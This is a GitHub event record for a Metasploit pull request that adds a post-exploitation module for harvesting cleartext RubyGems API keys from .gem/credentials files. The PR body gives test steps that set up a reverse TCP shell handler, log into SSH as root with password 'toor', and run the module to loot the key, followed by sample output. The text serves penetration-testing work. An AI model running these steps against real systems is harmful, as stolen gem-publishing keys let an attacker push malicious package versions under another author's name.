{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4645","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4645/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4645/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4645/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/4645","id":55572267,"number":4645,"title":"Add RubyGems API Key Gather Post Module","user":{"login":"claudijd","id":794283,"avatar_url":"https://avatars.githubusercontent.com/u/794283?v=3","gravatar_id":"","url":"https://api.github.com/users/claudijd","html_url":"https://github.com/claudijd","followers_url":"https://api.github.com/users/claudijd/followers","following_url":"https://api.github.com/users/claudijd/following{/other_user}","gists_url":"https://api.github.com/users/claudijd/gists{/gist_id}","starred_url":"https://api.github.com/users/claudijd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/claudijd/subscriptions","organizations_url":"https://api.github.com/users/claudijd/orgs","repos_url":"https://api.github.com/users/claudijd/repos","events_url":"https://api.github.com/users/claudijd/events{/privacy}","received_events_url":"https://api.github.com/users/claudijd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":18,"created_at":"2015-01-27T03:40:41Z","updated_at":"2015-01-27T05:31:43Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4645","html_url":"https://github.com/rapid7/metasploit-framework/pull/4645","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4645.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4645.patch"},"body":"This post module will look at the target OS for user directories with ./gem/credentials files, which can house RubyGems API keys, which are used by gem owners to publish their Ruby Gems to a central repository and are stored in clear text.  An attacker (or security tester) who recovers this API will be able to publish new gem versions as the gem author.\r\n\r\nTo replicate this check, please follow these steps...\r\n\r\n- Setup a Host B with a .gem/credentials file w/ these contents\r\n\r\n```\r\n---\r\n:rubygems_api_key: my_rubygems_api_key\r\n```\r\n\r\n- Set up a multi-handler on Host A\r\n\r\nuse exploit/multi/handler\r\nset payload linux/x86/shell/reverse_tcp\r\nset lhost 192.168.10.173\r\nset lport 1337\r\nset ExitOnSession false\r\nexploit –j\r\n\r\n- Use ssh login module to start a session on Host A\r\n\r\nuse auxiliary/scanner/ssh/ssh_login\r\nset RHOSTS 192.168.10.142\r\nset username root\r\nset password toor\r\nrun\r\n\r\n- Go into the post module on Host A and run it against session from Host B\r\n\r\nuse post/multi/gather/rubygems_api_key\r\nset session 1\r\nrun\r\n\r\n- The end result should look something like this...\r\n\r\n    msf post(rubygems_api_key) > run\r\n\r\n    [*] Finding .gem/credentials\r\n    [*] Looting 1 files\r\n    [+] Found a RubyGems API Key: my_rubygems_api_key\r\n    [*] RubyGems API Key stored in: /root/.msf4/loot/20150126215503_testing_192.168.10.142_host.rubygems.ap_551484.txt\r\n    [*] Post module execution completed\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/71592000","html_url":"https://github.com/rapid7/metasploit-framework/pull/4645#issuecomment-71592000","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4645","id":71592000,"user":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"created_at":"2015-01-27T05:31:43Z","updated_at":"2015-01-27T05:31:43Z","body":"https://github.com/rapid7/metasploit-framework/commit/d53f4e1178028955b05d543d4b98c11e5aaae4d3"}}